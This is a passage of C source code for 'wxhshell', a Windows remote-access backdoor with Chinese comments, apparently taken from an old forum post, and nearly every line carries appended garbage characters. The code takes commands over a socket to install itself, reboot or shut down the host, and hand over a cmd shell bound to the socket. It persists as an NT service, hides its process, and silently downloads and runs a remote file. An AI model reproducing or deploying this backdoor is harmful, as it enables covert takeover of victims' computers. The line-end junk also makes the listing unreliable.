  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A ?~4Pe  
  } -"^"& )  
  else { c}=[r1M*  
&,XPMT  
    switch(cmd[0]) { |M<R{Tt}nf  
  } -hH2  
  // 帮助 @$QtY(a  
  case '?': { hI<$lEB  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); c&RiUU7  
    break; R 'mlKe x  
  } RvVF^~u  
  // 安装 @ *T8>  
  case 'i': { 3e;K5qSeo/  
    if(Install()) (|6!pQ7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aeLIs SEx  
    else v"sU87+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MS|1Q@S9  
    break; s5d[sx  
    } tUfze9m  
  // 卸载 odcrP\S  
  case 'r': { jP3~O  
    if(Uninstall()) blbzh';0}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'i/"D8  
    else nM$-L.dG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {;UBW7{  
    break; OH+2)X  
    } z"sv,W  
  // 显示 wxhshell 所在路径 3@;24X  
  case 'p': { aI\ >=*HF  
    char svExeFile[MAX_PATH]; ok&v+A  
    strcpy(svExeFile,"\n\r"); .$x822   
      strcat(svExeFile,ExeFile); <&M5#:u  
        send(wsh,svExeFile,strlen(svExeFile),0); [z} $G:s  
    break; -cXVkH{  
    } ,n5 [Y)  
  // 重启 Zr\G=0`  
  case 'b': { 1-4*YrA  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]=0D~3o3  
    if(Boot(REBOOT)) +w3k_^X9c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x4_FG{AIu  
    else { 7 Uu  
    closesocket(wsh); |TBKsx8  
    ExitThread(0); v}z{OB  
    } }<P%W~  
    break; FRE${~Xd  
    } ?=Z0N&}[  
  // 关机 H&ZsMML/%  
  case 'd': { N;,N6&veK/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6 ^p>f:5  
    if(Boot(SHUTDOWN)) v".u#G'u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n-lDE}K9%B  
    else { @)@hzXQ  
    closesocket(wsh); !.={p8X-x  
    ExitThread(0); CH h6Mnw  
    } lFM'F[-?-  
    break; U &W}c^#  
    } Cd'SPaR  
  // 获取shell >\!>CuU  
  case 's': { YC~kq?  
    CmdShell(wsh); p7)b@,  
    closesocket(wsh); :}w^-I"  
    ExitThread(0); QN m.8c$  
    break; u"r1RG'  
  } _{?/4ZhA\+  
  // 退出 o{QPW  
  case 'x': { laFF/g;sRC  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); h|=&a0  
    CloseIt(wsh); J 9k~cz  
    break; w.0]>/C  
    } h5#V,$  
  // 离开 le`_    
  case 'q': { {?'c|\n Li  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); G9\@&=  
    closesocket(wsh); aib)ItNb  
    WSACleanup(); B,dKpz;kFg  
    exit(1); ODqWXw#  
    break; u%Yr&u  
        } qg@Wzs7c~  
  }  TBqJ.a  
  } Mio~CJ"?  
"Q@ZS2;A  
  // 提示信息 !tD,phca~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {YgB?kt5  
} cS1BB#N0  
  } |2~fOyA+  
PizPsJ|&  
  return; nM)H2'%kL&  
} [P_1a`b  
nK9A=H'Hc  
// shell模块句柄 6|:]2S  
int CmdShell(SOCKET sock) !23#Bz7  
{ Y|iALrx  
STARTUPINFO si; PUViTb  
ZeroMemory(&si,sizeof(si)); rj].bGQ,+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $.@)4Nu!_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @v,qfT*k7  
PROCESS_INFORMATION ProcessInfo; Ot} E  
char cmdline[]="cmd"; sj@'C@oK  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); V<!E9/4rS  
  return 0; /\9X0a2h|E  
} ~m56t5+uw  
aTy&"  
// 自身启动模式 f&ym'S  
int StartFromService(void) !>+Na~eN  
{ V+l>wMeo  
typedef struct =r:-CRq(  
{ cy6 P=k *  
  DWORD ExitStatus; ou@ P#:<B  
  DWORD PebBaseAddress; z_J"Qk  
  DWORD AffinityMask; k iCg+@nT  
  DWORD BasePriority; \/9uS.Kw  
  ULONG UniqueProcessId; DjjG?(1  
  ULONG InheritedFromUniqueProcessId; s],+]<qX  
}   PROCESS_BASIC_INFORMATION; k w!1]N  
hQfxz,X  
PROCNTQSIP NtQueryInformationProcess; Q pY:L  
$fY4amX6Z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rX#} 2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; cwxO| .m  
G =+sW  
  HANDLE             hProcess; i=<N4Vx  
  PROCESS_BASIC_INFORMATION pbi; b&Sk./ J6  
bg)yl iX  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9c1n  
  if(NULL == hInst ) return 0; DPNUm<>  
XoaBX2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); t$Z#zx X  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); M+ gYKPP  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'qhA4W9  
}cE,&n  
  if (!NtQueryInformationProcess) return 0; /tf}8d  
\~zTc_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ET`;TfqM  
  if(!hProcess) return 0; xXu/CGzG  
>i4UU0m  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Rd5r~iT  
7oDr`=q1]r  
  CloseHandle(hProcess); ;Q2p~-0Q  
 wYS,|=y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); QO)Q%K,  
if(hProcess==NULL) return 0; 16YJQ ue  
Ov)rsi  
HMODULE hMod; zTP3JOe(  
char procName[255]; l 49)Cv/  
unsigned long cbNeeded; 4y+] V~p  
7@m  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); M>~jLu0@  
swnov[0  
  CloseHandle(hProcess); h"')D  
R gEKs"e  
if(strstr(procName,"services")) return 1; // 以服务启动 oM$EQd`7  
}9Z?UtS  
  return 0; // 注册表启动 ^6ZA2-f/<8  
} v>$GVCY  
EpCUL@+  
// 主模块 Mnaoh:z  
int StartWxhshell(LPSTR lpCmdLine) SN'LUwaMp!  
{ 2`l$uEI3oJ  
  SOCKET wsl; F#Oqa^$(  
BOOL val=TRUE; E q.?Ga  
  int port=0; xUzSS@ot^  
  struct sockaddr_in door; +MeEy{;  
pscCXk(|A`  
  if(wscfg.ws_autoins) Install(); 0%+TU4Xx  
G;MgrA#\  
port=atoi(lpCmdLine); Sg0 _l(  
;/SM^&Y  
if(port<=0) port=wscfg.ws_port; #T n~hnW  
(6?pBdZ  
  WSADATA data; VzMoWD;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; t}`|\*a  
'UT 4x9&z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   !o&Mw:d  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `yHV10  
  door.sin_family = AF_INET; rsvZi1N4w$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); o_EXbS]C  
  door.sin_port = htons(port); z8mR< q%`  
q0w5ADd  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { O.1Z3~r-N  
closesocket(wsl); abCcZ<=|b  
return 1; ?4_^}B9  
} |jaUVE_2[  
&|26x >  
  if(listen(wsl,2) == INVALID_SOCKET) { ^C@uP9g  
closesocket(wsl); L$@^EENS  
return 1; !/['wv@  
} W<B8PS$  
  Wxhshell(wsl); /U6G?3b  
  WSACleanup(); 5 8p_b  
_pKW($\  
return 0; *n2Q_o  
yI bz\3  
} M0x5s@  
F)Yn1&a#H  
// 以NT服务方式启动 W==HV0n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) bUp%87<*X  
{ n\.K:t[:  
DWORD   status = 0; =M 7FD  
  DWORD   specificError = 0xfffffff; * "ER8\  
PT|^RF%fT  
  serviceStatus.dwServiceType     = SERVICE_WIN32; QM9~O#rL  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >RBq&'f  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; OcMd'fwO  
  serviceStatus.dwWin32ExitCode     = 0; +:~&"U^ z&  
  serviceStatus.dwServiceSpecificExitCode = 0; @iy ^a  
  serviceStatus.dwCheckPoint       = 0; )"jG)c^1*  
  serviceStatus.dwWaitHint       = 0; }vxb, [#  
hX 9.%-@sR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); netKt_  
  if (hServiceStatusHandle==0) return; HPCgv?E3  
7J,W#Ql)5  
status = GetLastError(); {{[).o/  
  if (status!=NO_ERROR) /^#k /z  
{ E[t\LTt*n  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; CjOaw$s  
    serviceStatus.dwCheckPoint       = 0; B8|=P&L7N  
    serviceStatus.dwWaitHint       = 0; o]}b#U8S  
    serviceStatus.dwWin32ExitCode     = status; pt(GpbtWK  
    serviceStatus.dwServiceSpecificExitCode = specificError; ()(@Qcc  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); C 1|e1  
    return; _1dG!!L_  
  } Yiu)0\ o  
Q9 kKk  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^;NM'Z  
  serviceStatus.dwCheckPoint       = 0; 1B6Go  
  serviceStatus.dwWaitHint       = 0; +fAAkO*GP  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); . %tc7`k8  
} 2#*Bw=  
g84~d(\?  
// 处理NT服务事件,比如:启动、停止 0[T!}F^%e  
VOID WINAPI NTServiceHandler(DWORD fdwControl) FD#?pVyPn^  
{ CTR|b}!  
switch(fdwControl) ?Hf^& yo  
{ doP4N6   
case SERVICE_CONTROL_STOP: E`iT>+LG<  
  serviceStatus.dwWin32ExitCode = 0; EFf<| v  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; mh.0% 9`9  
  serviceStatus.dwCheckPoint   = 0;  ~ceGx  
  serviceStatus.dwWaitHint     = 0; gJ c5Y  
  { mv SNKS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KHcf P7  
  } ^P:9iu)+]~  
  return; |vTirZP  
case SERVICE_CONTROL_PAUSE: .-`7Av+7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Rr4r[g#  
  break; vV#Jl) A  
case SERVICE_CONTROL_CONTINUE: +tdt>)a  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (~}yt.7K  
  break; 20 zIO.&o  
case SERVICE_CONTROL_INTERROGATE: B HoZ}1_  
  break; &]pW##  
}; uMPJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9:fVHynr  
} > g8;x#  
cm-cwPAh  
// 标准应用程序主函数 Si6%6rAhj  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -Qiay/tlu  
{ kd|@.  
k2<VUeW5  
// 获取操作系统版本 \ zhT1#O  
OsIsNt=GetOsVer(); H]UM2.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); x~j%  
lx U}HM  
  // 从命令行安装 }v0oFY$u`H  
  if(strpbrk(lpCmdLine,"iI")) Install(); c(ZkK  
!7AW_l9`i  
  // 下载执行文件 [*vk&  
if(wscfg.ws_downexe) { B:qZh$YN  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }n:'@}  
  WinExec(wscfg.ws_filenam,SW_HIDE); b,KQG|k  
} T9RR. ng  
Tp)-L0kD_k  
if(!OsIsNt) { YmB z$  
// 如果时win9x,隐藏进程并且设置为注册表启动 FFR_1Vf  
HideProc(); bzk@6jR1  
StartWxhshell(lpCmdLine); )3'/g`c  
} 8$OE<c?#5n  
else 2!7wGXm~U  
  if(StartFromService()) .9lx@6]+  
  // 以服务方式启动 ]#j]yGV  
  StartServiceCtrlDispatcher(DispatchTable); Rw^4S@~T  
else '2uQ  
  // 普通方式启动 `-]*Qb+  
  StartWxhshell(lpCmdLine); f@[q# }6  
]*%0CDY6`N  
return 0; Ct|iZLh`j  
}
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只看该作者 1 发表于: 2006-10-10
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